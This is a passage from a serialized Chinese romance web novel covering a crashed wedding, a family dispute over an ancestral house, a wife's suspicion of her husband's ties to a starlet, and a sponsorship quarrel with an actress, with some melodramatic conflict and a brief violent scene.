裴吟挽着父亲的手臂,一身洁白的婚纱,走进礼堂。
袁枫看直了眼。
喉咙咽了咽,直勾勾的看着向他的新娘。
她好美。
只是那样慢慢的走着,也撩的他心跳加速。
裴父将裴吟的手,送到袁枫的手中,“小袁,好好爱裴吟,她可是我最疼爱的女儿。”
“放心吧,爸,我会的。”
他握着裴吟的手,挽上自己的胳膊,来到神父的面前。
“袁枫先生,你是否愿意让裴吟小姐成为你的妻子与她缔结婚约?无论疾病还是健康,无论贫穷还是富有,或任何其他理由,都爱她,照顾她,尊重她,接纳她,永远对她忠贞不渝直至生命尽头?你愿意吗?”
袁枫看向裴吟,点头,“我愿意。”
神父又问裴吟。
“裴吟小姐,你是否愿意让裴吟小姐成为你的丈夫与他缔结婚约?无论疾病还是健康,无论贫穷还是富有,或任何其他理由,都爱他,照顾他,尊重他,接纳他,永远对他忠贞不渝直至生命尽头?你愿意吗?”
裴吟刚要回答。
一个男人冲进来,打断了誓言。
“她不愿意。”
第236章 抢婚
宾客纷纷回眸,看向了出现在门口的男人。
宋南伊也望了过去。
捂唇,“天哪,是陆律师,他来抢婚来了?”
“闷骚男,今天开天光了?”霍时序震惊。
这还是他认识的那个陆为谦吗?
裴啸走过,想带陆为谦走,“为谦,我们去聊聊。”
“裴啸,今天,我要带阿吟走,可以吗?”他不是像要征得同意,而倾向于,他一定要带走裴吟。
神父前面的新郎和新娘。
也将视线定格在了这个男人身上。
袁枫有想过裴吟会放不下。
没想到,今天会有人来抢新娘。
“陆为谦,你跑到我婚礼上来捣什么乱?你是想从我身边带走裴吟?你问过她,她到底想不想,跟你走?”
婚礼眼看着要变成一场闹剧。
这是袁裴两家不愿意看到的。
但陆为谦步子坚定。
他走到裴吟面前,牵起了她的手,“阿吟,这辈子我就勇敢了这一次,相信我,我一定会给你一个很好的未来,跟我走吧,好吗?”
裴吟望着他氲满水汽的眼睛。
意外,却没有失去理智。
她淡淡的,将手抽了回来。
“陆律师,今天是我的婚礼,你还是请回吧,别弄的三家人,脸上都不好看。”
陆为谦痛苦一笑。
再次扣住了她的手腕。
这次,他没有经过任何人的允许。
强行牵起裴吟就往外走。
袁枫自然是不让。
他成什么了?
挥着拳头,就打向了陆为谦,“**的有毛病是不是?今天我结婚,你来抢婚,你早干嘛去了?陆为谦,你是个男人,既然放不下,你早去挽回啊,你现在算什么?”
陆为谦被打了一个踉跄。
裴吟慌忙去扶,被袁枫一把扯开,“陆为谦,大家都是成年人了,成年人不能那么自私,只考虑自己的感受,你们陆家的脸面不要了?啊?你跑到我婚礼上抢人?裴家的脸面还要不要?”
陆为谦擦了擦破溃的唇角。
他确实就是这样的性格。
不到最后一秒,他不会将自己的感受放大。
可他不后悔。
“脸面重要吗?不要了,我都不要了,我只要阿吟,我只要她……”
陆为谦眼眶红了。
他不在乎别人怎么看他。
他这一辈子,没活过自己一天。
他想为自己活一把。
他颤着唇,将手伸向了裴吟,“阿吟,跟我走好吗?”
他的指尖在颤。
裴吟轻轻的,摇头。
后退。
袁枫说的没错,大家都是成年人了,这种冲动的戏码早已经不适合了。
“你走吧,陆为谦,谢谢你来参加我的婚礼。”
她像做了某种艰难的决定,转身,挽上袁枫的胳膊。
宾客哗然,窃窃私语。
陆为谦笑了。
泪流满面。
婚礼还在继续。
陆为谦很快被请到了现场之外。
裴啸挺心疼他的,但他妹妹从小就是这样,倔强的要死,“为谦,放下吧,别再执着了。”
霍时序也走了出来。
他一直以为陆为谦心里还装着宋南伊。
现在看来,他对宋南伊的劲头过去了。
自然对他的态度,也不像从前,“看来,你是真的爱上裴吟了,爱上了就去抢啊,带她走,去一个没人打扰的地方,来硬的。哭有用吗?只有让人觉得你窝囊。”
裴啸嘶了一口。
“你少说两句吧,裴吟不是宋南伊,你就别在这儿拱火了。”
霍时序抽了根烟,扔给了裴啸,自己递了一根在唇上,“我这不叫拱火,机会就是这样的,你错过了,她一辈子就不可能是你的了,我爱过人,深爱过,知道那种得不到的滋味,知道绝望的感觉,过了今晚,她可就成了袁太太了,以后你们见了,也要有礼有距。”
陆为谦眼眶噬血般的红。
**吗?
他知道的。
可是裴吟看他的眼神,很冷,很平淡,令他绝望,“她拒绝了,她不会跟我走了。”
“知道她不会跟你走,你就开看一些吧。”裴啸拍了拍陆为谦的肩。
三个男人。
面对这样的情况,三种截然不同的态度。
陆为谦的不甘。
裴啸的退让。
霍时序的强取豪夺。
无论是哪一种,都没法改变事实。
裴吟不会再回来了。
一段感情,就这样在大家默认下结束了。
婚礼还在继续。
空场的时候,袁枫将婚礼上的伴娘和化妆等工作人员,全部屏退。
房间里,只有他和裴吟。
他抽了根烟,递到唇边,慢慢的吸着。
许久,“你想跟他走吗?”
裴吟抬眸看他,片刻,“为什么这么问?”
“他是你女儿的亲生父亲,女人嘛通常考
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虑到孩子,会做一些很蠢的决定,如果你想跟他离开,我不拦你。”
他深黯男女之事。
如果她不心甘情愿,就算人留下了,心也走了。
有事情拦是拦不住。
他不愿意做强迫之事。
裴吟垂眸。
一段感情,过去了就过去了。
难受,自己心里憋着。
她不想让袁枫平白无故的,成为这件事情的受害者。
“我没想过走。”
“他今天都这样豁出去了,你难道一点点的触动都没有吗?”
说实话。
他挺生气的。
袁家要脸。
出这事,父母脸上挂不住,他亦是。
但他静下来后,也挺佩服陆为谦的,为了挽回曾经的爱人,他不顾一切的放下脸面,也实属是难得。
“听说陆为谦为人矜持,内敛,能做到这份上,也确实不容易,你真的不考虑?要是今晚过去了,你可就成了袁太太,你们之间就无法挽回了。”
裴吟没说话。
她心里很复杂。
一直以来,她感情方面相对理智。
抛除陆为谦是小可可的爸爸这个身份,任何一样陆为谦拿得出手的,都与她的期望相差甚远。
再回到陆家?
就算他们一起搬在外面住,他还是陆姓啊,陆之白还是会操纵他,他无法安心跟自己过日子的。
到时,又是鸡飞狗跳。
袁枫就不一样了。
他的父母不会逼他做一些,破坏夫妻感情的事情。
爱又怎样,不爱又怎样呢?
爱的鲜血淋漓,不如平静无澜的生活一辈子。
“袁枫,我对爱情……没有期待的,我承认,我嫁给陆为谦之前,对他有好感,那时的他疯狂的喜欢着我的最好的朋友,但我觉得他基因好啊,就算不爱,生个孩子也不错的。”
“我真的是那样想的,但是陆为谦的父亲,太欺负人,我真的在那个环境里,要抑郁了,如果再让我回去,我是不愿意的,而且……”
“心里有我,和爱我,是截然不同的两个概念,没有飞蛾扑火的爱情,我怎么可能去跟他赴汤蹈火呢。”
她自嘲。
指甲的肉刺被她扒的鲜血淋淋。
袁枫拿来了碘酒给她消毒。
“你还是爱他的对吧?”他指法很轻,一点点的带起凉意,“爱他,就不要做让自己后悔的事情,再给彼此一个机会,万一,你赢了呢。”
第237章 我稀罕稀罕孩子
裴吟笑了。
无比的嘲讽。
“袁枫,如果让你在你的父母和你的老婆之间,选择一个,你会选择谁?”
袁枫轻描淡写的,“当然我会站老婆,哪怕她是错的。”
“为什么?”
“老婆是我自己选的,我既然选择了她,就得保护她,因为她身后除了我,没有别人,而我的父母也不会因为我站了老婆,就不认我这个儿子。”
听听,多么简单的道理。
陆为谦不懂。
或许说,他不是不懂,只是懂得晚了。
他在相对封闭的家族里长大。
他从小到大,都过于听陆之白的话,哪怕他是律师,也没有让自己在家族中独立起来。
陆为谦有没有成长,裴吟不清楚。
她不敢去赌。
“袁枫,我知道……你是个好人。”
“可别……别给我发好人卡。”他将碘酒收起来,破溃的地方缠上了创口贴,“我以前没少被发好人卡,麻了。”
“我是说真的,你真的是特别好的人,发生了这样的事情,你没有质问我,冲我咆哮,也没有打打摔摔,我觉得你已经战胜了百分之九十的男人,还如此耐心的劝我……我真的觉得你会是一个不错的朋友。”
她很真诚。
所言发自肺腑。
袁枫抬眸,望进她的眼底。
唇角微微上扬,“好人?朋友?”
裴吟点头。
他苦笑,“好吧,至少在你这儿,得到认可了,我很满意。”
裴吟深呼吸。
给了袁枫一个坚定的答案,“婚礼继续吧,你跟爸妈好好解释,就当误会一场。”
“确定?”他眼眸轻颤。
她微笑,“确定。”
婚礼继续,裴吟嫁给了袁枫成了名正言顺的袁太太。
没有知道,他们婚后是分床睡的。
袁枫说,给她一年的时间考虑,如果确定跟他共同生活下去,那就成为真正的夫妻。
他给了裴吟足够的尊重。
可是她心里缺少的那一块,却怎么也填不上。
……
宋南伊终于把三个宝宝全部接回家。
家里孩子一多,就感觉空间受限。
霍时序想着,让陈伯回老宅收拾一下,一家搬过去住。
结果,人还没有搬去,霍明达先找上门来了。
“太太,霍老先生来了,说是要见霍先生。”青姐还没报完。
霍明达一脚迈了进来。
他的视线先落到了蓝旗的身上。
而后就两个可可爱爱的小团子。
宋南伊怀孕他知道,什么生的,他倒也没有在意过。
这突然见到了,他心就变得柔软起来。
“这是……生了两个吗?男孩女孩?”他张着手,要抱宝宝,“来爷爷抱抱。”
蓝旗将宝宝递给保姆,“把宝宝带下去休息吧。”
霍明达扑了空,对蓝旗意见很大,“你这个人,也真是小气,我稀罕稀罕孩子,你也拦着。”
“轮得到你稀罕?你来干什么?”蓝旗没给他好脸。
霍明达弯腰坐下,“把时序叫下来,我有事要问他。”
蓝旗没搭话。
有下人上楼上去叫霍时序。
很快。
人出现在楼梯拐角。
他穿了身灰色的针织休闲家居服,两手插兜,闲庭信步的走下来,带着那么点的清风霁月。
“时序,我问你,老宅,你打算怎么处理?”
霍时序微耸眉梢,“当然是住。”
“你爷爷都没了,我看老宅不如就……处理了吧,我的公司现在正是缺钱的时候,也好贴补一下,我找中介问了,老宅面积大,怎么着也值个一百亿左右吧,我觉得挺合适的。”
见过败家子。
没见过过了半辈子,开始败家的。
霍时序弯身坐到了霍明达的对面,“霍家祖宅几百年了,不说一百个亿了,一千亿,也不会卖。”
“我现在手头周转不开,而且老宅是你爷爷留下来的,有我的份额,如果你不想卖,那就把我的份额折现吧,我等着钱用。”
自从把霍明达从老宅赶出去。
霍时序也不知道,他最近在忙什么。
听说自己是重新开了个公司。
看来经营的不止是不怎么样。
“如果爷爷没有留下来遗嘱,确实有你的份额,但爷爷已经在临终前,把老宅过户给了我,我是老宅的真正主人,所以……没你的份了,不好意思,父亲大人。”
霍明达恼火。
他至今都想不明白,霍时序怎么跟突然变了个人似的,处处跟他作对。
以前,霍时序不算很听话,但不会跟他对着干。
难道,还是因为顾南风?
“我知道,你怕我得到了,就会分给顾南风,对吗
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?”
霍时序表示,无所谓,“你的东西,你爱给谁给谁,但那得是你的东西,不是你的东西,你要强行要去,那我无法满足你的。”
“他也是个可怜的孩子,你怎么就一点亲情都没有呢?无论你承认与否,他都是你的弟弟,他争也好,抢也罢,就是因为想得到霍家的认可,他有错吗?”
霍明达无端发火。
本来霍时序不想再计较这事。
他偏偏指责。
“顾南风没有错,错就错在你出轨,睡女人,还睡出私生子,妈在这儿坐着呢,你怎么可以那么脸不红心不跳的,为自己的私生子说话,你忘了当年,你是如何伤害妈的了?你忘了我的妹妹是有机会出生的。”
“我……”霍明达眉心痛苦。
当**情,他也不愿意发生。
既然发生了也没有办法,一辈子揪着不放,有什么意思。
“过去的事情,还提什么,霍家本就人丁单薄,如果你肯让着南风,让他好好呆在霍氏帮你,爸会替他感谢你的,爸也感谢你。”
“不必。”他没有这个福分。
“时序,我们是亲人,不是仇人。”
霍时序涩笑。
他没当任何人是仇人,只是现在这个父亲眼里,只有顾南风,对他这个儿子,反倒是疏远了。
自己的情绪平静下来。
“如果公司开不下去,就关了吧,霍氏股份的分红,也足够你晚年的生活了,别折腾了,老宅不会卖的,我让陈伯去收拾了,我们一家人会住过去。”
霍明达沉闷。
他承认,他开这个公司,是为了顾南风考虑。
老爷子的遗嘱里,就分给顾南风一个小公司,他还那么年轻,以后的路还长着,一个公司够干什么的?
不像霍时序从小是老爷子带在身边,教经商之道。
学的一身本身。
就算什么都不给他,他一样可以在江城翻云覆雨。
顾南风什么也不懂。
他这个当父亲,再不给他留下点什么,他将如何在这个社会上立足。
“罢了,老宅不卖就不卖了,那也咱们霍家的一个念想,我再想想别的办法吧。”
霍明达起身。
他看了蓝旗一眼。
她自始至终都没有说话。
“没想到,我养大的儿子,有了妈,就不要爸了,蓝旗啊,你比我幸福啊。”
第238章 爱情你不握不住,那就是别人的
“你有儿有女,我只有时序,我可没有你幸福。”蓝旗脸色微冷。
她的婚姻,没有爱情,充满了背叛,谎言,欺骗,和冷暴力。
那时候年轻啊。
就熬着。
生下霍时序后,她又怀了一个女儿。
她觉得老天爷对她也不薄。
她准备以后就守着这一儿一女过日子,男人的心在没在家里,她也不那么计较了。
可他哪里肯让她好过。
小三登堂入室,逼着她接受丈夫出轨,生下私生子的事实。
她不想生气,可她是个人啊。
后来孩子流产,她也疯了。
那么多年,霍家不让她见儿子,她就一个人躲在挪威,自生自灭。
现在苦尽甘来。
有儿有媳,有孙子有孙女,她是比霍明达幸福多了。
“不过……我现在当奶奶了,有两个孙子,一个孙女,在这方面,我确实比你幸福多了,霍明达,你该为你过去的所作所为买单了……而且,我听说……”
蓝旗缓淡抬眸,“……孙爱芸跟在你身边的时候,在外面已经有了相好的,戴了二十年的绿帽子,也算是因果循环,报应了。”
霍明达被戳了痛处。
气哼哼的甩手,“走了。”
坐进车里。
霍明达点了根烟抽着。
不管承不承认,他的婚姻是很彻底的失败的。
年轻时爱玩,不想被婚姻束缚,联姻的女人,他不喜欢。
可她太温婉顺从,对他言听计从。
那时的蓝家,在江城也是响当当的大家族。
就算他想离,霍家也不让他离。
就这样别扭着有了孩子,他在外面玩得更嗨了,夜不归宿是常有的事儿。
当然,有部分原因是为了气她。
静下心来,也就是近十几年的事情。
他没有对哪个女人动过心,孙爱芸是,顾南风的母亲更是。
现在回头望过去,这些女人,都比不上蓝旗半分。
没有她的温婉端庄,也没有她顾大局识大体。
如果……
如果那个女儿生下来就好了……
他终究是为当年的辜负,后悔了。
可这个世上,没有后悔药。
……
宋南伊在裴吟婚后,第一次约她出来喝下午茶。
她脸色不错。
想到婚礼当天的事情,宋南伊担心这段时间,有没有对裴吟造成影响。
“你又和陆律师见过面了吗?”或许她应该这样问,“我是说,他又找过你没有?”
裴吟微笑。
宋南伊还是不了解陆为谦。
婚礼当天的事情,被别有用心的人,发到了网上。
一时,陆家大少抢亲被拒绝,陆家丢尽脸面,这样的词,甚嚣尘上。
陆之白勃然大怒。
将陆为谦关了禁闭。
与此同时,与吴家的婚事也提上了日程。
陆家急需回血。
最好的方法就是,用陆为谦和吴家小姐的感情来说事。
陆之白不惜为陆为谦,打上了精神类疾病的标签。
也不能让陆家的脸,再继续丢下去。
她觉得,陆为谦这一辈子,得让他这个亲爹给毁了。
“我和他结束了,很彻底。”
裴吟神色暗淡。
显然是还没有从那段感情中,抽离出来。
宋南伊不知道袁枫那边是个什么情况。
“袁枫他……跟你……有没有计较这件事情?”
裴吟抬眸,微笑,“他人挺好的,情绪稳定,虽然他比我大不了几岁,但他挺成熟的,在生活方面,他这个人不拘小节,算是引导型的……恋人吧。”
“你对他……动心了?”宋南伊看到了裴吟,眼角那抹满足,“看来……陆律师彻底没戏了?”
“如果非要拿陆为谦和袁枫相比,我觉得……袁枫会更适合我。”
袁枫虽然是个男人。
但他在生活中的照顾的她很体贴入微。
哪次,她的筷子少夹了哪道菜。
那道菜,下一次就不会出现在餐桌上。
同样。
如果哪道菜,她多吃了那么一两口,就会换着花样的出现。
而她和陆为谦的生活中,他从未在意过这些。
人,其实挺怕比较的。
宋南伊不知道该替裴吟庆幸,还是替陆为谦惋惜。
“那袁枫,喜欢小可可吗?你们有没有打算再生一个?”
宋南伊不知道,至今裴吟还在跟袁枫分床睡。
也不想让她知道。
“还行吧,这么小孩子,也不会惹人生气,他睡前都会逗逗,你也知道小可可是话痨,有时候,两个人能聊好一会儿呢。”
说这话时。
裴吟眼底的笑,是幸福的弧度。
宋南伊不敢明说,但她感受到了裴吟的心在向袁枫敞开。
中途袁枫给裴吟打来电话。
两人聊了几句。
“袁枫一会儿过来接我,说是帮我约了一位老中医给我看腰,可能要做做针灸什么的,你也知道,我这腰啊,自从生了可可后,就一直酸疼酸疼的。”
裴吟笑着。
幸福的令宋南伊羡慕。
她想,这个袁枫一定是裴吟迟来的爱人吧。
爱情就是这样。
你握不住,别人能握住,那就是别人的了。
宋南伊挺替陆为谦遗憾的。
他真的错过了裴吟了。
“行,你走吧,路上慢一点,代我向袁总问好。”
“那我先走了,改天再约。”
“好。”
走出下午茶餐厅。
宋南伊一个人慢慢的,想在街上逛逛。
这条街是一条老街,有很多老店,道路起起伏伏,有台阶,有下坡,是江城独特的风景线。
往北走。
这里开了很多摄影沙龙。
前两年,这条街在网上火了,很多年轻人来打卡。
走过这条街。
左拐,就是一些私人订制的店铺。
有珠宝店,有礼服店,也有婚纱店和服装店。
她慢慢走着。
走到一家礼服店里。
她看到了熟悉的背影。
没错,是霍时序。
他身旁站的那个女的是谁?
她正想会不会许秘书时,许秘书走到了霍时序的身旁,跟他低声讲话。
一袭抹胸小礼服的女孩,终是侧过脸来。
宋南伊没见过。
但又觉得不是那么眼生。
是XY新来的哪个实习生吗?
还是哪个十八线的小明星?
她好像跟霍时序很熟的样子,挽着他的胳膊,笑得像一朵花似的。
而霍时序也并没有排斥这样的亲近。
这是令宋南伊不舒服,甚至怀疑他们的关系。
她没进去追究。
就那么站在槐树旁,静静的看着落地窗里面的男人和女人。
他拿着珠宝给女孩戴上。
女孩惊喜的捂唇尖叫。
男人眼底是淡淡温柔的光泽。
宋南伊跟着笑了,难不成又是一个援助对象,像当年的苏语安一样?
如果真是那样。
霍时序可以滚了。
旁边就是咖啡店。
宋南伊点了杯美式,选择了门口的位置,刚好一抬眼,就能看到里面礼服店里的情况。
她也没有想太多。
猜忌或是愤怒,有,但不足以令她发狂。
女孩看起来,全场高能,小礼服换了一件又一件。
身旁的男人,也配套似的,跟着换了一件又一件。
抛开她是霍时序妻子这个身份。
她觉得两个人还挺般配的。
像……
像大灰狼和小白兔。
第239章 他在外面找女的,她就找男模
“小姐,这是您要雾凇。”
“谢谢。”
雾凇是一块绿油油的慕斯,上面洒了白色的糖霜。
挺应景的。
她将小甜品端起来,小口往嘴里递。
可能是礼服店里的男女太过于投入。
一直没有发现,在外面有一双眼睛在盯着他们看。
最先发现宋南伊的,是许秘书。
她看到宋南伊,稍愣后,立马就跟霍时序说了。
男人转身回眸,看向妻子。
宋南伊微笑着端起咖啡,举了干杯的动作。
霍时序有点慌了。
“她坐那儿多久了?”
许秘书也不清楚,“可能有一会儿了吧,我看太太面前的甜品已经吃了一半了,要不,您过去解释一下吧。”
霍时序是要解释的。
他将身上的男士礼服脱下来。
就跑出了婚纱店。
“老婆。”他眼神有一些慌乱,拉开椅子的动作明显迟钝了一些,“什么时候来的啊?怎么不进去找我啊?我在工作呢,没看到你。”
“工作?”宋南伊笑了,“既然在工作,我就不方便去打扰你。”
“那个试穿礼服的女的是……”他想解释的。
宋南伊抬了抬手指,脸上依然是看不出情绪的淡淡笑意,“既然是工作,没必要跟我报备。”
霍时序咽了咽。
宋南伊表现得很正常。
为什么他心里兵荒马乱的。
“下午还有别的事情吗?”他温柔地问。
宋南伊淡笑着看向他,“可能会去工作室吧,再说。”
“那要不要陪我工作一会儿,你极少到XY集团,难得这次这么巧。”他伸手去握她放在桌面上的小手。
她不动声色地躲了。
低头,她轻啜着杯中的咖啡,“我不喜欢打扰别人工作,你去忙吧。”
“那……我今天早点回家。”他指尖蜷了一下,“我记得你昨天不是还说,想吃李氏的鲜花饼,我回去的时候,给你带。”
宋南伊淡淡笑笑。
没说好,也没说不好。
霍时序局促的,指了指礼服店,“那我把最后一点工作忙完,我,我就先去忙了。”
宋南伊点头。
霍时序一步三回头,笑得极为不自然的,回了礼服店。
许秘书递了纸巾给他,“霍总,擦擦汗吧。”
“还要试几组?”他真多余接这份,本不该属于自己的工作,“以后这种活,找个男模特得了,我这晚上回去,是跪搓板还是跪榴梿还不一定呢。”
许秘书不解。
太太明明什么也没有说啊。
她往咖啡店方面又瞅了一眼。
太太明明很优雅地在喝咖啡啊。
霍总怎么吓成这样。
“霍总,这活非得您来,咱们XY这一季的宣传,就叫凝视,您是集团CEO,这凝视的背影,非您莫属啊。”
霍时序抬抬手指,“行了,赶紧弄吧。”
……
霍时序特意早回去了半个小时。
宋南伊没回家。
他给她打电话,没接。
他将鲜花饼交给了青姐,“先放起来吧,一会儿太太回来,给她。”
“先生,太太刚刚打电话回来说,晚上不用等她吃饭了。”青姐将鲜花饼接过手里,“太太还说,她可能得很晚才能回来,让先哄两个小宝贝睡觉。”
霍时序蹙眉。
要很晚才回来?
多晚?
自从两个小宝宝接回来,晚上都是她亲自哄睡的?
连孩子也不哄了?
真生气了?
霍时序思前想后的,又拿起手机,给宋南伊发了条语音。
“老婆,你今天是不是要加班啊,我一会儿去接你。”
等了约莫有十分钟,宋南伊的信息发了过来,“不用来接。”
“老婆,青姐说你晚上要晚回来,我不放心,你在哪儿,要不要我陪啊?我下班了,没什么事情,你发个位置给我,我马上可以过去。”
发送后。
宋南伊再也没给他回过信息。
完了。
应该真生气了。
……
夜。
某夜总会。
蓝迪将一群男模,带到了宋南伊的面前。
情绪高涨地介绍,“嫂子,这些可是这里的头牌,那是要个头有个头,要腹肌有腹肌,那都是会把屁股扭开花的,小腰软着呢,而且,他们叫起紫啧来,那叫一个酥骨头,你先挑,挑完我再挑。”
宋南伊扶额。
蓝迪是霍时序大舅家最小的妹妹。
二十出头。
大舅四十多得这个女儿,全家人当心肝宠,刚从国外玩回来。
“嫂子,虽然他们比起我
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哥来是差点事,但他们会讨你欢心啊,不像我哥,跟十八线的小模特勾搭在一起,我跟你讲啊嫂子,你别觉得对不起我哥,他每次在外面找一个女的,你就找一个男模,别亏了自己。”
话是这样说没错。
但她真不好男模这一口。
“迪迪,你刚回国,也不倒时差,跟我在这儿玩,累不?”
“嫂子,我们这么年轻,那血都是热的,累什么呀,我跟你讲啊,这些小可爱,会让你热血沸腾的,来嘛,挑一个。”
蓝迪太热情。
宋南伊闭着眼,挑了一个。
音乐声音调高,男模们卖力的扭动着腰肢。
蓝迪和宋南伊一杯接着一杯的喝。
喝高兴了就撒钱。
这些个男模高兴的跟狗似的。
“嫂子,你……把这杯干了,你这留着养鱼呢,赶紧的。”
宋南伊有些醉了,“喝不了,我得回,回家了。”
“回什么家啊,我给你开一房,你带着小可爱去睡,狠狠的折腾折腾,酒就醒了。”
蓝迪笑的小猥琐。
宋南伊可没这个胆。
不管怎么说,她结婚了,喝点酒,点个男模活跃一下气氛可以,真格的,她还是算了。
“小迪迪,你可真不怕你哥打断你的腿啊……”
宋南伊醉的不想动了。
她整个人蜷缩在沙发里。
蓝迪还在闹。
包厢的门被打开。
灯光刺眼,她眯着眸子望过去,“嫂子,这个男模好哎。”
男人面色黑沉。
他冷睨了蓝迪一眼,沉声对着这些男模发话,“你们都下去。”
“江淮,把蓝迪带走,等她醒了,我再跟她算账。”
“你,你是谁啊?你这个人,怎么随便就……”蓝迪晃的站不住,直愣愣的扑到了江淮的身上,“……你又是谁啊?小模样不错啊,姐今晚带你去开房,买上两盒套子,让姐开心,姐大大的赏你。”
江淮脸红。
霍时序听得要**。
“赶紧把她送回去。”
“好的,霍总。”
江淮带走了蓝迪。
霍时序走到沙发前,看向蜷缩着女人,打横将她抱了起来。
“不开心就抽我巴掌,买醉干什么?伤身体。”
他眼底是心疼。
更有自责。
第240章 婚姻到最后都是一地鸡毛
宋南伊很久没有喝醉过了。
睡了一晚,头还是疼得厉害。
“青姐,给我拿片止疼药……”她混混沌沌地喊。
药很快递到她手里。
她就那么往嘴里一丢。
随即身子被一只大手扶起来,水杯递到唇边,她闭着眼睛,吞了口水,将药片送下。
“青姐,你出去吧,我要睡一会儿。”
没人回答她。
只有轻微扯动被角的动作,和床边陷落的弧度。
霍时序看着她。
直到她的呼吸均匀后,才放心走出卧室。
……
很快。
XY集团的宣传片发布。
‘凝视’这个词,背后的用意很深。
图像极美。
配上霍时序压迫性十足的背影和侧脸,令不少江城的商界大佬,都在揣摩他接下来的版图扩张。
而最既得利益者。
就是那个被许秘书拉来,拍摄宣传片的十八线小明星。
一时间,各个头条,都是她那张脸。
从名不见经传,一下成了顶流小花。
粉丝从原来的十几二十万,一下就涨到了一百多万。
她每天都在微博发自己,和这些照片拍摄的花絮,里面不乏有霍时序的身影。
而且她每次都@霍时序。
次数多了。
就会有人猜测她和霍时序的关系。
有好事的人,会@宋南伊。
也有记者和媒体,在这个小明星的微博底下,问她和霍时序到底是什么关系。
每次,这个明星都只发一个嘘的表情。
引得大家浮想联翩。
宋南伊看到这样的新闻,心里是不舒服的。
但她不会再像前世那样的,歇斯底里。
她也不质问。
更不会把心事写在脸上。
只是回家的时间越来越晚,只是刻意的避开与他的见面。
偶尔,霍时序想跟她来点浪漫,她也会以工作为由,拒绝。
她相信霍时序是有感觉的。
但他太忙了。
已经无暇顾及这段婚姻亮起的红灯。
婚姻到最后都是一地鸡毛。
她在前世已经明白道理,这一世,她如何不懂呢。
……
霍时序出差的第十二天。
宋南伊回到家,去了宝宝的房间。
宝宝很可爱,肉呼呼的,时间过得可真快啊,小核桃都要上一年纪了。
“南伊,最近是不是有心事啊?”
蓝旗给她端了碗安神的汤,“我听青姐说,你在吃药啊?是哪里不舒服吗?去看过医生了吗?”
“没事妈,是维生素。”她挤了抹笑。
视线缓缓淡淡的落到宝宝的小脸上。
“来,先把这汤喝了,炖了两个小时呢,我亲自盯着炖的。”婆婆将汤递给宋南伊。
她乖巧的喝下,“谢谢妈。”
“你和时序啊,都太忙了,不是你出差,就是他出差,这一个家里,见到你,就见不到他,见到他就见不到你……”
蓝旗是过来人。
她猜,他们的之间出现了问题。
又不敢直说。
“……这个季节,北海道的雪正是好看的时候,你们安排一下时间,出去玩玩吧,不用担心宝宝,我会看好的。”
宋南伊笑笑。
看向蓝旗,抱歉,“妈,让你担心了。”
“南伊,妈希望你每天都是快乐的。”
她点头,“妈,我没事的,就是工作太累了,我和时序还年轻,把精力都用在工作上面,是常态,不用担心我们,我们很好。”
蓝旗心疼宋南伊的懂事。
轻轻的拍了她的手背,“累了就休息,工作一天是做不完的。”
“知道了妈。”
宋南伊在宝宝房间呆了一会儿。
便回了自己的卧室。
拉开抽屉。
里面有几瓶药。
一瓶是治疗失眠的,一瓶是抗抑郁的,还有一瓶是治疗乳腺增生的。
每一瓶,她都撕掉了标签。
还是被青姐发现了。
她懂。
大家都是关心她。
大家也看出来,她和霍时序最近一段时间,出了些问题。
但这是一道无解的题。
拧开瓶盖。
三颗药,丢进喉咙,她仰头喝水灌下。
……
那个曾经是十八线的小明星,叫小如。
宋南伊之所以看她眼熟,是因为有一个爆火的短剧里,她演过女二。
现在不一样了。
搭了霍时序这样的资本。
鸡毛飞上天,她一跃成为了,炙手可热的小花。
宋南伊这个原配,她不惹,但也不放在眼里。
这次。
宋南伊的YY珠宝,对一部即将开拍的偶像剧,提供了珠
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宝的赞助。
而这部戏的女主,刚好就是风头正劲的小如。
女主在整个剧中,都要佩戴YY珠宝的各种首饰。
按理说,宋南伊算是资本。
全剧组的人都对她尊重有加,只有这个小如,把她当空气。
甚至,背地后里,疯狂的吐槽,YY珠宝是个杂牌子。
搞的经纪人很无语。
“你别吃着锅里饭,还想着要砸锅,小如,你现在是红了,但你还没有资本张狂,你知道多少双眼睛看着你吗?宋南伊是什么人?她的珠宝你都看不上,你戴过多少好东西?”
经纪人怕她嘴大漏风,给自己招来祸端。
很严厉地批评她。
小如不以为然。
甚至觉得经纪人,有点太小心谨慎了。
“澜哥,就是私下里,咱们自己聊,那宋南伊说白了,不过是靠夫家发迹的女人,就是个寄生虫,说实在的,还不如我们这种自己努力赚钱的人呢。”
经纪人压下眉心,“你不也是沾了她家男人的光?小如,以后见到宋南伊要客气一点,要礼貌一些,惹她不高兴了,你可没好果子吃。”
“知道了。”小如不情不愿的。
这部戏属于边拍边播。
宋南伊之所以关注,就是因为自己的品牌。
开始播得不错。
她的珠宝曝光率也跟得上。
但拍着拍着,她就发现,这个小明星不再戴她们YY珠宝赞助的饰品。
取而代之是一些高奢品牌。
起初,宋南伊以为是剧组撤换,另加别的品牌植放,仔细询问后,才发现,这是演员的个人行为。
宋南伊不满。
跟剧组连夜开了个会,撤回了后续所有的赞助,更是就这种违约行为,直接诉至**,提起了诉讼。
一时间。
剧组被推上风口浪尖。
经纪人因为小如的自作聪明,狠狠地掌掴了她一个巴掌。
力道很大。
差点给她干趴下。
“我提醒过你了没有?你在搞什么?你在挑衅谁?你以为你是什么东西?你在跟她争宠?你以为跟霍时序拍了那么个宣传片,你就可以取代宋南伊,挑衅宋南伊?”
经纪人不解气,抬腿又往小如的肚子上,踹了几脚,“妈的,你以为你已经可以跟资本抗衡了?你等着赔钱吧,赔死你。”
第241章 他风尘仆仆,为别的女人撑腰
“澜哥,那要怎么办啊?”小如哭唧唧。
经纪人抽了根烟,递到唇上,“明天,宋南伊会过来剧组,商讨赔偿的事宜,剧组这边的意思是,让你赔个礼,道个歉,把损失能降到最低,你给听好了,别再整出幺蛾子。”
“嗯,行。”小如捂着肚子,不敢不从。
宋南伊来剧组。
被簇拥着,邀请到了会议室。
“宋总,真不好意思,我家小如不懂事,您高抬贵手,我已经教育过她了,她知道自己错了,您大人大量……”
经纪人递上了烟。
宋南伊将烟推开,淡淡地扫了小如一眼,“她怎么说?”
经纪立马将小如拎到了宋南伊的面前,“赶紧的,给宋总道个歉。”
“对不起宋总,是我不懂事,我知道错了。”小如的声音很小,脸上有诸多的不情愿,和对宋南伊的瞧不上。
剧组导演赶紧打圆场,“宋总,您就别跟这种小角色一般见识了,我们商量过了,片后给您的珠宝品牌,放大LOGO,中间也穿插几个植入广告,您就别跟我们计较了,我们是真的知道错了。”
“是啊,宋总,高抬贵手,高抬贵手。”经纪人和导演,态度还算不错。
